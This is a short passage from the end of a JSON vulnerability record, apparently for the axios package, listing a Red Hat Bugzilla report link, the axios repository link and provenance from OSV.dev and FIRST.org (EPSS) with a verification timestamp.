},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2461626"},{"type":"PACKAGE","url":"https://github.com/axios/axios"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-12T03:30:33.754695661Z"}}